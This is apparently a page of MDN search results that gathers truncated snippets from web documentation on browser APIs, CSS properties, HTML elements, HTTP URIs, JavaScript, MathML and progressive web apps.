...ndard defined range interface. this object is used to represent a specific piece of text in the document. for example, when you hold down the mouse to select the content on the page, you create a typical textrange. it is implemented in ie, then a textrange object can be created by element.createtextrange() or document.selection.createrange(). note that this interface is not supported in non ie browsers. alternative selection and range interfaces can be used. properties textrange.boundingheightread only returns the height of the rectangle bound to the textrange object. textrange.boundingleftread only returns the distance between the left edge of the rectangle that binds the textrange object and the left edge that completely contains the textrange object. textrange.boundingtoprea...
...And 3 more matches
Using the User Timing API - Web APIs
the user timing interface allows the developer to create application specific timestamps that are part of the browser's performance timeline. there are two types of user defined timing entry types: the "mark" entry type and the "measure" entry type. mark events are named by the application and can be set at any location in an application. measure events are also named by the application but they are placed between two marks thus they are effectively a midpoint between two marks. this document shows how to create mark and measure performance entry types and how to use user timing methods (which are extensions of the performance interface) to retrieve and remove entries from the browser's performance timeline. a live version of the examples is available on github, as is the source code. pull...
... creating a performance mark the performance.mark() method is used to create a performance mark. the method takes one argument, the name of the mark, as shown in the following example. ...
...triesbyname('mark-1', 'mark')", 0); log("... " + entries[i].name, 0); } entries = performance.getentriesbyname("mark-2","mark"); for (var i=0; i < entries.length; i++) { if (i == 0) log("= getentriesbyname('mark-2', 'mark')", 0); log("... " + entries[i].name, 0); } } removing performance marks the performance.clearmarks() method is used to remove one or more marks from the browser's performance timeline. if a specific mark name is given to this method, only the mark(s) with that name will be removed. however, if no argument is given, then all performance entries of type "mark" will be removed from the performance timeline. the following example demostrates both uses of this method. function clear_marks(obj) { if (performance.clearmarks === undefined) { log("clear ...
...And 3 more matches
Signaling and video calling - Web APIs
signaling transaction flow the signaling process involves this exchange of messages between two peers using an intermediary, the signaling server. the exact process will vary, of course, but in general there are a few key points at which signaling messages get handled: the signaling process involves this exchange of messages among a number of points: each user's client running within a web browser each user's web browser the signaling server the web server hosting the chat service imagine that naomi and priya are engaged in a discussion using the chat software, and naomi decides to open a video call between the two. here's the expected sequence of events: we'll see this detailed more over the course of this article. ice candidate exchange process when each peer's ice layer begi...
...r options than the one initially selected. if conditions change—for example the network connection deteriorates—one or both peers might suggest switching to a lower-bandwidth media resolution, or to an alternative codec. this triggers a new exchange of candidates, after which a another media format and/or codec change may take place. you can learn more about the codecs which webrtc requires browsers to support, which additional codecs are supported by which browsers, and how to choose the best codecs to use in the guide codecs used by webrtc. optionally, see rfc 8445: interactive connectivity establishment, section 2.3 ("negotiating candidate pairs and concluding ice") if you want greater understanding of how this process is completed inside the ice layer. you should note that candidates...
...lingstatechange the webrtc infrastructure sends you the signalingstatechange message when the state of the signaling process changes (or if the connection to the signaling server changes). see signaling state to see our code. starting negotiation once the caller has created its rtcpeerconnection, created a media stream, and added its tracks to the connection as shown in starting a call, the browser will deliver a negotiationneeded event to the rtcpeerconnection to indicate that it's ready to begin negotiation with the other peer. here's our code for handling the negotiationneeded event: function handlenegotiationneededevent() { mypeerconnection.createoffer().then(function(offer) { return mypeerconnection.setlocaldescription(offer); }) .then(function() { sendtoserver({ ...
...And 3 more matches
WebRTC API - Web APIs
webrtc (web real-time communication) is a technology which enables web applications and sites to capture and optionally stream audio and/or video media, as well as to exchange arbitrary data between browsers without requiring an intermediary. the set of standards that comprise webrtc makes it possible to share data and perform teleconferencing peer-to-peer, without requiring that the user installs plug-ins or any other third-party software. webrtc consists of several interrelated apis and protocols which work together to achieve this. ...
... user installs plug-ins or any other third-party software. webrtc consists of several interrelated apis and protocols which work together to achieve this. the documentation you'll find here will help you understand the fundamentals of webrtc, how to set up and use both data and media connections, and more. interoperability because implementations of webrtc are still evolving, and because each browser has different levels of support for codecs and webrtc features, you should strongly consider making use of the adapter.js library provided by google before you begin to write your code. adapter.js uses shims and polyfills to smooth over the differences among the webrtc implementations across the environments supporting it. adapter.js also handles prefixes and other naming differences to make t...
... this article introduces the protocols on top of which the webrtc api is built. webrtc connectivity a guide to how webrtc connections work and how the various protocols and interfaces can be used together to build powerful communication apps. lifetime of a webrtc session webrtc lets you build peer-to-peer communication of arbitrary data, audio, or video—or any combination thereof—into a browser application. in this article, we'll look at the lifetime of a webrtc session, from establishing the connection all the way through closing the connection when it's no longer needed. establishing a connection: the perfect negotiation pattern perfect negotiation is a design pattern which is recommended for your signaling process to follow, which provides transparency in negotiation while allowi...
...And 3 more matches
Starting up and shutting down a WebXR session - Web APIs
s the xrsystem object if suitable xr hardware is available for your use given the hardware available and your document's environment. thus the simplest code that fetches the xrsystem object is: const xr = navigator.xr; the value of xr will be null or undefined if webxr isn't available. ...
... new and still in development api, webxr support is limited to specific devices and browsers; and even on those, it may not be enabled by default. there may be options available to allow you to experiment with webxr even if you don't have a compatible system, however. webxr polyfill the team designing the webxr specification has published a webxr polyfill which you can use to simulate webxr on browsers which don't have support for the webxr apis. if the browser supports the older webvr api, that is used. otherwise, the polyfill falls back to an implementation which uses google's cardboard vr api. the polyfill is maintained alongside the specification, and is kept up to date with the specification. ...
...can use to simulate webxr on browsers which don't have support for the webxr apis. if the browser supports the older webvr api, that is used. otherwise, the polyfill falls back to an implementation which uses google's cardboard vr api. the polyfill is maintained alongside the specification, and is kept up to date with the specification. additionally, it is updated to maintain compatibility with browsers as their support for webxr and other technologies related to it and to the implementation of the polyfill change over time. be sure to read the readme carefully; the polyfill comes in several versions depending on what degree of compatibility with newer javascript features your target browsers include. webxr api emulator extension the mozilla webxr team has created a webxr api emulator brow...
...And 3 more matches
Using the Web Animations API - Web APIs
the web animations api lets us construct animations and control their playback with javascript. this article will start you off in the right direction with fun demos and tutorials featuring alice in wonderland. meet the web animations api the web animations api opens the browser’s animation engine to developers and manipulation by javascript. this api was designed to underlie implementations of both css animations and css transitions, and leaves the door open to future animation effects. it is one of the most performant ways to animate on the web, letting the browser make its own internal optimizations without hacks, coercion, or window.requestanimationframe(). with the web animations api, we can move interactive animations from stylesheets to javascript, separating presentation from beh...
...y on dom-heavy techniques such as writing css properties and scoping classes onto elements to control playback direction. and unlike pure, declarative css, javascript also lets us dynamically set values from properties to durations. for building custom animation libraries and creating interactive animations, the web animations api might be the perfect tool for the job. let's see what it can do! browser support the basic web animations api features discussed in this article are available by default in firefox 48+ and chrome 36+. safari supports web animations in its technology preview version and there is also a handy polyfill that tests for feature support and adds it where necessary. writing css animations with the web animations api one of the more familiar ways to approach learning the ...
...claration with a comma. in the above example, to make sure that alice’s color changes at 30% (not 50%) for the color change, we are giving it offset: 0.3. currently, there should be at least two keyframes specified (representing the starting and ending states of the animation sequence). if your keyframe list has only one entry, element.animate() may throw a notsupportederror exception in some browsers until they are updated. so to recap, the keys are equally spaced by default unless you specify an offset on a key. handy, no? representing timing properties we’ll also need to create an object of timing properties (an animationeffecttimingproperties object) corresponding to the values in alice’s animation: var alicetiming = { duration: 3000, iterations: infinity } you’ll notice ...
...And 3 more matches
Using the Web Storage API - Web APIs
this article provides a walkthrough of how to make use of this technology. basic concepts storage objects are simple key-value stores, similar to objects, but they stay intact through page loads. the keys and the values are always strings (note that, as with objects, integer keys will be automatically converted to strings). you can access these values like an object, or with the storage.getitem() and storage.setitem() methods. ...
...setting', '#a4509b'); note: it's recommended to use the web storage api (setitem, getitem, removeitem, key, length) to prevent the pitfalls associated with using plain objects as key-value stores. ...
... to prevent the pitfalls associated with using plain objects as key-value stores. the two mechanisms within web storage are as follows: sessionstorage maintains a separate storage area for each given origin that's available for the duration of the page session (as long as the browser is open, including page reloads and restores). localstorage does the same thing, but persists even when the browser is closed and reopened. ...
...And 3 more matches
WorkerGlobalScope - Web APIs
each workerglobalscope has its own event loop. this interface is usually specialized by each worker type: dedicatedworkerglobalscope for dedicated workers, sharedworkerglobalscope for shared workers, and serviceworkerglobalscope for serviceworker. the self property returns the specialized scope for each context. ...
...the self property returns the specialized scope for each context. properties this interface inherits properties from the eventtarget interface and windoworworkerglobalscope and windoweventhandlers mixins. standard properties workerglobalscope.navigator read only returns the workernavigator associated with the worker. it is a specific navigator object, mostly a subset of the navigator for browsing scopes, but adapted to workers. workerglobalscope.self read only returns a reference to the workerglobalscope itself. most of the time it is a specific scope like dedicatedworkerglobalscope, sharedworkerglobalscope or serviceworkerglobalscope. workerglobalscope.location read only returns the workerlocation associated with the worker. it is a specific location object, mostly a subset of ...
...apted to workers. workerglobalscope.self read only returns a reference to the workerglobalscope itself. most of the time it is a specific scope like dedicatedworkerglobalscope, sharedworkerglobalscope or serviceworkerglobalscope. workerglobalscope.location read only returns the workerlocation associated with the worker. it is a specific location object, mostly a subset of the location for browsing scopes, but adapted to workers. non-standard properties workerglobalscope.performance read only returns the performance associated with the worker. it is a regular performance object, except that only a subset of its property and methods are available to workers. workerglobalscope.console read only returns the console associated with the worker. properties implemented from else...
...And 3 more matches
ARIA - Accessibility
and error messages, live content updates, and more. many of these widgets were later incorporated into html5, and developers should prefer using the correct semantic html element over using aria, if such an element exists. for instance, native elements have built-in keyboard accessibility, roles and states. however, if you choose to use aria, you are responsible for mimicking (the equivalent) browser behaviour in script. here's the markup for a progress bar widget: <div id="percent-loaded" role="progressbar" aria-valuenow="75" aria-valuemin="0" aria-valuemax="100"> </div> this progress bar is built using a <div>, which has no meaning. unfortunately, there isn't a more semantic tag available to developers in html 4, so we need to include aria roles and properties. these are specifi...
...progressbar" aria-valuenow="75" aria-valuemin="0" aria-valuemax="100"> </div> this progress bar is built using a <div>, which has no meaning. unfortunately, there isn't a more semantic tag available to developers in html 4, so we need to include aria roles and properties. these are specified by adding attributes to the element. in this example, the role="progressbar" attribute informs the browser that this element is actually a javascript-powered progress bar widget. the aria-valuemin and aria-valuemax attributes specify the minimum and maximum values for the progress bar, and the aria-valuenow describes the current state of it and therefore must be kept updated with javascript. along with placing them directly in the markup, aria attributes can be added to the element and updated dyna...
...ts xhtml variants. however, the accessibility gains it provides far outweigh any technical invalidity. in html5, all aria attributes validate. the new landmark elements (<main>, <header>, <nav> etc) have built-in aria roles, so there is no need to duplicate them. support like any other web technology, there are varying degrees of support for aria. support is based on the operating system and browser being used, as well as the kind of assistive technology interfacing with it. in addition, the version of the operating system, browser, and assistive technology are contributing factors. older software versions may not support certain aria roles, have only partial support, or misreport its functionality. it is also important to acknowledge that some people who rely on assistive technology are ...
...And 3 more matches
:is() (:matches(), :any()) - CSS: Cascading Style Sheets
Web › CSS › :is
note: :matches() was renamed to :is() in csswg issue #3258. the :is() css pseudo-class function takes a selector list as its argument, and selects any element that can be selected by one of the selectors in that list. this is useful for writing large selectors in a more compact form. note that currently browsers support this functionality as :matches(), or through an older, prefixed pseudo-class — :any(), including older versions of chrome, firefox, and safari. :any() works in exactly the same way as :matches()/:is(), except that it requires vendor prefixes and doesn't support complex selectors. /* selects any paragraph inside a header, main or footer element that is being hovered */ :is(header, main, footer) p:hover { color: red; cursor: pointer; } /* the above is equivalent...
...token> <any-value> ')'where <wq-name> = <ns-prefix>? <ident-token><ns-prefix> = [ <ident-token> | '*' ]? | <id-selector> = <hash-token><class-selector> = '.' <ident-token><attribute-selector> = '[' <wq-name> ']' | '[' <wq-name> <attr-matcher> [ <string-token> | <ident-token> ] <attr-modifier>? ']'where <attr-matcher> = [ '~' | | | '^' | '$' | '*' ]? ...
...for example, the following css: /* 3...
...And 3 more matches
Relationship of flexbox to other layout methods - CSS: Cascading Style Sheets
t addition to the box alignment specification has been the row-gap and column-gap properties, along with the shorthand gap. these properties were initially defined in the css grid specification and named grid-row-gap, grid-column-gap and grid-gap. they have been renamed and moved to box alignment in order that they can be used in all layout methods — this will ultimately include flexbox. until browsers implement the gap properties for flexbox, margins have to be used to create gaps between items. writing modes in the basic concepts of flexbox article, i explained that flexbox is writing mode aware. writing modes are fully detailed in the css writing modes specification, which details how css supports the various different writing modes that exist internationally. we need to be aware of how...
...atted in that particular writing mode. you can change the live example below to these modes in order to see what happens to the flex layout. horizontal-tb vertical-rl vertical-lr sideways-rl sideways-lr note that sideways-rl and sideways-lr have support only in firefox currently. there are also some known issues with regard to writing-mode and flexbox. you can see more information on browser support in the mdn documentation for writing-mode. however if you are planning on using writing modes in your layout, carefully testing the results is advisable — not least because it would be easy to make things hard to read! note that you would not normally use css and the writing-mode property to change an entire document to another writing mode. this would be done via html, by adding a d...
...splay: flex and the collapsing does not happen. this is because the items no longer have a float applied, as they have been transformed into flex items. flexbox and grid layout css grid layout and flexbox generally act in the same way with regards to overwriting other methods. you might however want to use flexbox as a fallback for grid layout, as there is better support for flexbox in older browsers. this approach works very well. if a flex item becomes a grid item, then the flex properties that may have been assigned to the child elements will be ignored. you can use the box alignment properties across both layout methods, so using flexbox as a fallback for grid layout can work very well. flex and grid — what's the difference? a common question is to ask what the difference is betwe...
...And 3 more matches
appearance (-moz-appearance, -webkit-appearance) - CSS: Cascading Style Sheets
the appearance css property is used to display an element using platform-native styling, based on the operating system's theme. the -moz-appearance and -webkit-appearance properties are non-standard versions of this propery, used (respectively) by gecko (firefox) and by webkit-based (e.g., safari) and blink-based (e.g., chrome, opera) browsers to achieve the same thing. note that firefox and edge also support -webkit-appearance, for compatibility reasons. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the -moz-appearance property was used in xul stylesheets to design custom widgets with platform-appropria...
...priate styling. it was also used in the xbl implementations of the widgets that ship with the mozilla platform. starting with gecko/firefox 80, these uses were changed to -moz-default-appearance, which should never be used outside of internal stylesheets. compatibility note: if you wish to use this property on websites, you should test it very carefully. although it is supported in most modern browsers, its implementation varies widely. in older browsers, even the keyword none does not have the same effect on all form elements across different browsers, and some do not support it at all. the differences are smaller in the newest browsers. syntax /* css basic user interface module level 4 values */ appearance: none; appearance: auto; appearance: menulist-button; appearance: textfield; /* ...
...this is the default. auto div{ color: black; -moz-appearance: auto; -webkit-appearance: auto; appearance:auto; } <div>lorem</div> ...
...And 3 more matches
text-size-adjust - CSS: Cascading Style Sheets
the text-size-adjust css property controls the text inflation algorithm used on some smartphones and tablets. other browsers will ignore this property. /* keyword values */ text-size-adjust: none; text-size-adjust: auto; /* <percentage> value */ text-size-adjust: 80%; /* global values */ text-size-adjust: inherit; text-size-adjust: initial; text-size-adjust: unset; because many websites have not been developed with small devices in mind, mobile browsers differ from desktop browsers in the way they render web pages. instead of laying out pages at the width of the device screen, they lay them out using a viewport that is much wider, usually 800 or 1000 pixels. to map the extra-wide layout back to the original device size, they either show only part of the whole render or scale th...
...nder web pages. instead of laying out pages at the width of the device screen, they lay them out using a viewport that is much wider, usually 800 or 1000 pixels. to map the extra-wide layout back to the original device size, they either show only part of the whole render or scale the viewport down to fit. since text that has been scaled down to fit a mobile screen may be very small, many mobile browsers apply a text inflation algorithm to enlarge the text to make it more readable. when an element containing text uses 100% of the screen's width, the algorithm increases its text size, but without modifying the layout. the text-size-adjust property allows web authors to disable or modify this behavior, as web pages designed with small screens in mind do not need it. syntax the text-size-adjust...
...an element containing text uses 100% of the screen's width, the algorithm increases its text size, but without modifying the layout. the text-size-adjust property allows web authors to disable or modify this behavior, as web pages designed with small screens in mind do not need it. syntax the text-size-adjust property is specified as none, auto, or a <percentage>. ...
...And 3 more matches
Video player styling basics - Developer guides
this follow-up article looks at how to style this custom player, including making it responsive. the example in action you can find the code for the updated, styled example on github, and view it live. preliminary modifications from the original example this section summarises the modifications that were made to the original video player example to make the styling task easier, before the bulk of the work was started. html markup there are a few changes that were made to the html markup shown in the previous article. ...
...rder-radius:2px; } like the <button> elements, <progress> also has a default border, which is removed here. it is also given a slight rounded corner for aesthetic reasons. the color property is also defined here as internet explorer uses this defined colour for styling the progress bar's background colour as it increases. ...
...block; background-color:#2a84cd; } a .data-state class is also used here when a <progress> element is being "faked"; when it's in this state the background colour needs to be set. the internal <span> element used as the actual progressing part of the faked progress bar has its width initially set to 0% (it is updated via javascript) and it also has its background colour set. ...
...And 3 more matches
HTML5 Parser - Developer guides
Web › Guide › HTML › HTML5 › HTML5 Parser
calls to innerhtml are a lot faster. ...
...rned into web pages and, as such, changes to it are rare. the new parser is faster, complies with the html5 standard, and enables a lot of new functionality as well. the new parser introduces these major improvements: you can now use svg and mathml inline in html5 pages, without xml namespace syntax. parsing is now done in a separate thread from firefox’s main ui thread, improving overall browser responsiveness. calls to innerhtml are a lot faster. dozens of long-standing parser related bugs are now fixed. the html5 specification provides a more detailed description than previous html standards of how to turn a stream of bytes into a dom tree. this will result in more consistent behavior across browser implementations. in other words, in supporting html5, gecko, webkit, and internet...
... tokenization of left angle-bracket within a tag given the string <foo<bar>, the new parser reads it as one tag named foo<bar. this behavior is consistent with ie and opera, and is different from gecko 1.x and webkit, which read it as two tags, foo and bar. ...
...And 3 more matches
Introduction to HTML5 - Developer guides
html5 is the fifth revision and newest version of the html standard. it offers new features that provide not only rich media support but also enhance support for creating web applications that can interact with users, their local data, and servers more easily and effectively than was previously possible. some html5 features remain unsupported by some browsers. however, gecko, and by extension, firefox, has very good support for html5, and work continues toward supporting more of its features. gecko began supporting some html5 features in version 1.8.1. you can find a list of all of the html5 features that gecko currently supports on the main html5 page. for detailed information about multiple browsers' support of html5 features, refer to the caniuse website. declaring that the docume...
...f the html5 features that gecko currently supports on the main html5 page. for detailed information about multiple browsers' support of html5 features, refer to the caniuse website. declaring that the document contains html5 mark-up with the html5 doctype the doctype for html5 is very simple. to indicate that your html content uses html5, simply use: <!doctype html> doing so will cause even browsers that don't presently support html5 to enter into standards mode, which means that they'll interpret the long-established parts of html in an html5-compliant way while ignoring the new features of html5 they don't support. this is much simpler than the former doctypes, and shorter, making it easier to remember and reducing the amount of bytes that must be downloaded. declaring the character s...
... making it easier to remember and reducing the amount of bytes that must be downloaded. declaring the character set with the <meta charset> the first thing done on a page is usually indicating the character set that is used. in previous versions of html, it was done using a very complex <meta> element. now, it is very simple: <meta charset="utf-8"> place this right after your <head>, as some browsers restart the parsing of an html document if the declared character set is different from what they had anticipated. also, if you are not currently using utf-8, it's recommended that you switch to it in your web pages, as it simplifies character handling in documents using different scripts. note that html5 restricts character sets to those compatible with ascii and using at least 8 bits. this ...
...And 3 more matches
Localizations and character encodings - Developer guides
browsers process text as unicode internally. however, a way of representing characters in terms of bytes (character encoding) is used for transferring text over the network to the browser. the html specification recommends the use of the utf-8 encoding (which can represent all of unicode) and regardless of the encoding used requires web content to declare what encoding was used. the <meta> element's charset attribute is used to specify the page's character encoding. it must be used within a <head> block. ...
...the encoding used requires web content to declare what encoding was used. the <meta> element's charset attribute is used to specify the page's character encoding. it must be used within a <head> block. to specify that a page is using, for example, the utf-8 character encoding (as per the recommendation), simply place the following line in the <head> block: <meta charset="utf-8"> details and browser internals when the encoding is declared by web content like the html specification requires, firefox will use that encoding for turning the bytes into the internal representation. unfortunately, using utf-8 and declaring that utf-8 was used was not always the prevalent way of offering web content. in the 1990s, it was common to leave the encoding undeclared and to use a region-specific encodin...
...back encoding is windows-1252. new-authored locale-native utf-8 content is expected to declare its encoding, in which case the fallback encoding does not participate in the processing of content. additionally, there is a small number of locales where in the 1990s there wasn't an obvious single region-specific encoding and heuristic detection among multiple legacy encodings was introduced to web browsers. this has then had the effect that web authors have depended on heuristic detection being present, so firefox still has heuristic detection in these locales. finding canonical encoding names the text below refers to canonical names of encodings. the canonical names are the values to the right of the equals sign in unixcharset.properties. specifying the fallback encoding as of firefox 28, t...
...And 3 more matches
Developer guides
these articles provide how-to information to help make use of specific web technologies and apis. html learning area hypertext markup language (html) is the core language of nearly all web content. most of what you see on screen in your browser is described, fundamentally, using html. css learning area cascading style sheets (css) is a stylesheet language used to define the presentation of a document written in html. audio and video delivery we can deliver audio and video on the web in several ways, ranging from 'static' media files to adaptive live streams. this article is intended as a starting point for exploring the various delivery mechanisms of web-based media and compatibility with popular browsers. audio and video manipulation the beauty of the web is that you can c...
...o and video on the web in several ways, ranging from 'static' media files to adaptive live streams. this article is intended as a starting point for exploring the various delivery mechanisms of web-based media and compatibility with popular browsers. audio and video manipulation the beauty of the web is that you can combine technologies to create new forms. having native audio and video in the browser means we can use these data streams with technologies such as <canvas>, webgl or web audio api to modify audio and video directly, for example adding reverb/compression effects to audio, or grayscale/sepia filters to video. this article provides a reference to explain what you need to do. events developer guide events refer to two things: a design pattern used for the asynchronous handling of...
...fer to two things: a design pattern used for the asynchronous handling of various incidents which occur in the lifetime of a web page; and the naming, characterization, and use of a large number of incidents of different types. ...
...And 3 more matches
HTML attribute: multiple - HTML: Hypertext Markup Language
the boolean multiple attribute, if set, means the form control accepts one or more values. valid for the email and file input types and the <select>, the manner by which the user opts for multiple values depends on the form control. depending on the type, the form control may have a different appearance if the multiple attribute is set. for the file input type, the native messaging the browser provides differs. in firefox, the file input reads "no files selected" when the attribute is present and "no file selected" when not, when no files are selected. most browsers displaying a scrolling list box for a <select> control with the multiple attribute set versus a single line dropdown when the attribute is ommitted. the email input displays the same, but will match the :invalid pseudo-cl...
...the list of options. otherwise, the <select> element represents a control for selecting a single <option> from the list of options. <select multiple name="drawfs" id="drawfs"> <option>grumpy</option> <option>happy</option> <option>sleepy</option> <option>bashful</option> <option>sneezy</option> <option>dopey</option> <option>doc</option> </select> when multiple is specified, most browsers will show a scrolling list box instead of a single line dropdown. examples email input <label for="emails">who do you want to email?</label> <input type="email" multiple name="emails" id="emails" list="drawfemails" required size="64"> <datalist id="drawfemails"> <option value="grumpy@woodworkers.com">grumpy</option> <option value="happy@woodworkers.com">happy</option> <option value="...
...> <option value="doc@woodworkers.com">doc</option> </datalist> input:invalid {border: red solid 3px;} if and only if the multiple attribute is specified, the value can be a list of properly-formed comma-separated e-mail addresses. any trailing and leading whitespace is removed from each address in the list. if the required attribute is present, at least one email address is required. some browsers support the appearance of the list of options from the associated <datalist> for subsequent email addresses when multiple is present. others do not. file input when multiple is set on the file input type, the user can select one or more files: <form method="post" enctype="multipart/form-data"> <p> <label for="uploads"> choose the images you want to upload: </label> <i...
...And 3 more matches
<area> - HTML: Hypertext Markup Language
Web › HTML › Element › area
e <area> element must have an ancestor <map>, but it need not be a direct parent. implicit aria role link when href attribute is present, otherwise no corresponding role permitted aria roles no role permitted dom interface htmlareaelement attributes this element's attributes include the global attributes. alt a text string alternative to display on browsers that do not display images. the text should be phrased so that it presents the user with the same kind of choice as the image would offer when displayed without the alternative text. this attribute is required only if the href attribute is used. coords a set of values specifying the coordinates of the hot-spot region. the number and meaning of the values depend upon the value specified fo...
... valid url. this attribute may be omitted; if so, the <area> element does not represent a hyperlink. hreflang indicates the language of the linked resource. allowed values are determined by bcp47. use this attribute only if the href attribute is present. ping contains a space-separated list of urls to which, when the hyperlink is followed, post requests with the body ping will be sent by the browser (in the background). typically used for tracking. referrerpolicy a string indicating which referrer to use when fetching the resource: "no-referrer" meaning that the referer: header will not be sent. "no-referrer-when-downgrade" meaning that no referer: header will be sent when navigating to an origin without tls (https). this is a user agent’s default behavior, if no policy is othe...
... default relationship, if no other is given, is void. use this attribute only if the href attribute is present. shape the shape of the associated hot spot. the specifications for html defines the values rect, which defines a rectangular region; circle, which defines a circular region; poly, which defines a polygon; and default, which indicates the entire region beyond any defined shapes. many browsers, notably internet explorer 4 and higher, support circ, polygon, and rectangle as valid values for shape, but these values are non-standard. target a keyword or author-defined name of the browsing context to display the linked resource. the following keywords have special meanings: _self (default): show the resource in the current browsing context. _blank: show the resource in a new, u...
...And 3 more matches
<input type="submit"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › submit
ontains a domstring which is displayed as the button's label. buttons do not have a true value otherwise. <input type="submit" value="send request"> if you don't specify a value, the button will have a default label, chosen by the user agent. ...
...orm's action attribute, if any formenctype a string specifying the encoding type to use for the form data formmethod the http method (get or post) to use when submitting the form. formnovalidate a boolean which, if present, means the form's fields will not be subjected to constraint validation before submitting the data to the server formtarget the browsing context into which to load the response returned by the server after submitting the form formaction a string indicating the url to which to submit the data. this takes precedence over the action attribute on the <form> element that owns the <input>. this attribute is also available on <input type="image"> and <button> elements. formenctype a string that identifies the encoding metho...
...he form should not be validated before submission to the server. this overrides the value of the novalidate attribute on the element's owning form. this attribute is also available on <input type="image"> and <button> elements. formtarget a string which specifies a name or keyword that indicates where to display the response received after submitting the form. the string must be the name of a browsing context (that is, a tab, window, or <iframe>. a value specified here overrides any target given by the target attribute on the <form> that owns this input. in addition to the actual names of tabs, windows, or inline frames, there are a few special keywords that can be used: _self loads the response into the same browsing context as the one that contains the form. this will replace the cur...
...And 3 more matches
Identifying resources on the Web - HTTP
uses a specific http header, alt-svc when the resource requested wants the client to access it at another location. urls and urns urls the most common form of uri is the uniform resource locator (url), which is known as the web address. https://developer.mozilla.org https://developer.mozilla.org/docs/learn/ https://developer.mozilla.org/search?q=url any of those urls can be typed into your browser's address bar to tell it to load the associated page (resource). a url is composed of different parts, some mandatory and others are optional. a more complex example might look like this: http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#somewhereinthedocument urns a uniform resource name (urn) is a uri that identifies a resource by name in a particular namespace. urn:i...
...es a resource by name in a particular namespace. urn:isbn:9780141036144 urn:ietf:rfc:7230 the two urns correspond to the book nineteen eighty-four by george orwell, the ietf specification 7230, hypertext transfer protocol (http/1.1): message syntax and routing. syntax of uniform resource identifiers (uris) scheme or protocol http:// is the protocol. it indicates which protocol the browser must use. usually it is the http protocol or its secured version, https. the web requires one of these two, but browsers also know how to handle other protocols such as mailto: (to open a mail client) or ftp: to handle file transfer, so don't be surprised if you see such protocols. common schemes are: scheme description data data uris file host-specific...
...do extra stuff before returning the resource to the user. each web server has its own rules regarding parameters, and the only reliable way to know how a specific web server is handling parameters is by asking the web server owner. fragment #somewhereinthedocument is an anchor to another part of the resource itself. an anchor represents a sort of "bookmark" inside the resource, giving the browser the directions to show the content located at that "bookmarked" spot. on an html document, for example, the browser will scroll to the point where the anchor is defined; on a video or audio document, the browser will try to go to the time the anchor represents. it is worth noting that the part after the #, also known as fragment identifier, is never sent to the server with the request. usage ...
...And 3 more matches
Introduction - JavaScript
cripting language used to make webpages interactive (e.g., having complex animations, clickable buttons, popup menus, etc.). there are also more advanced server side versions of javascript such as node.js, which allow you to add more functionality to a website than simply downloading files (such as realtime collaboration between multiple computers). inside a host environment (for example, a web browser), javascript can be connected to the objects of its environment to provide programmatic control over them. javascript contains a standard library of objects, such as array, date, and math, and a core set of language elements such as operators, control structures, and statements. core javascript can be extended for a variety of purposes by supplementing it with additional objects; for example: ...
...tic control over them. javascript contains a standard library of objects, such as array, date, and math, and a core set of language elements such as operators, control structures, and statements. core javascript can be extended for a variety of purposes by supplementing it with additional objects; for example: client-side javascript extends the core language by supplying objects to control a browser and its document object model (dom). for example, client-side extensions allow an application to place elements on an html form and respond to user events such as mouse clicks, form input, and page navigation. server-side javascript extends the core language by supplying objects relevant to running javascript on a server. for example, server-side extensions allow an application to communicate ...
... clicks, form input, and page navigation. server-side javascript extends the core language by supplying objects relevant to running javascript on a server. for example, server-side extensions allow an application to communicate with a database, provide continuity of information from one invocation to another of the application, or perform file manipulations on a server. this means that in the browser, javascript can change the way the webpage (dom) looks. and, likewise, node.js javascript on the server can respond to custom requests from code written in the browser. javascript and java javascript and java are similar in some ways but fundamentally different in some others. the javascript language resembles java but does not have java's static typing and strong type checking. javascript fo...
...And 3 more matches
Authoring MathML - MathML
mathml references for more details. using mathml mathml in html pages you can use presentation mathml inside html5 documents: <!doctype html> <html> <head> <title>mathml in html5</title> </head> <body> <h1>mathml in html5</h1> <p> square root of two: <math> <msqrt> <mn>2</mn> </msqrt> </math> </p> </body> </html> content mathml is not supported by browsers. it's recommended to convert your content mathml markup into presentation mathml before publishing it, for example with the help of the ctop.xsl stylesheet. tools mentioned on this page generates presentation mathml. fallback for browsers without mathml support unfortunately, some browsers are not able to render mathml equations or only have a limited support. hence you will need to use a m...
...n your document header: <script src="https://fred-wang.github.io/mathml.css/mspace.js"></script> if you need more complex constructions, you might instead consider using the heavier mathjax library as a mathml polyfill: <script src="https://fred-wang.github.io/mathjax.js/mpadded-min.js"></script> note that these two scripts perform feature detection of the mspace or mpadded elements (see the browser compatibility table on these pages). there is also a similar script to display a warning at the top of the page for browsers without good mathml support and let the users choose between one of the fallback above: <script src="https://fred-wang.github.io/mathml-warning.js/mpadded-min.js"></script> if you don't want to use this link to github but instead to integrate these polyfills or others i...
... to paste your html+mathml code. mathbird is a convenient add-on for thunderbird to insert such mathml expressions using the asciimath input syntax. moreover, a latex-to-mathml input box has also been integrated into seamonkey since version 2.28 and into thunderbird since version 31. again, the way mathml is handled and the quality of the mathml rendering depends on the mail client. even if your browser supports mathml, your webmail may prevent you to send or receive mails with mathml inside. gecko-based instant messaging clients can integrate a javascript-based text-to-mathml converter (mentioned below) and then render the mathml expressions generated from the (plaintext) instant messages. for example, there is an instantbird add-on that handles latex expressions. conversion from a simple s...
...And 3 more matches
OpenSearch description format
this article focuses on creating opensearch-compatible search plugins that support these additional firefox features. ...
...this article focuses on creating opensearch-compatible search plugins that support these additional firefox features. ...
...ogrammatically as described in adding search engines from web pages. opensearch description file the xml file that describes a search engine follows the basic template below. sections in [square brackets] should be customized for the specific plugin you're writing. ...
...And 3 more matches
Progressive web app structure - Progressive web apps (PWAs)
there are two main, different approaches to rendering a website — on the server or on the client. they both have their advantages and disadvantages, and you can mix the two approaches to some degree. server-side rendering (ssr) means a website is rendered on the server, so it offers quicker first load, but navigating between pages requires downloading new html content. it works great across browsers, but it suffers in terms of time navigating between pages and therefore general perceived performance — loading a page requires a new round trip to the server. client-side rendering (csr) allows the website to be updated in the browser almost instantly when navigating to different pages, but requires more of an initial download hit and extra rendering on the client at the beginning. the web...
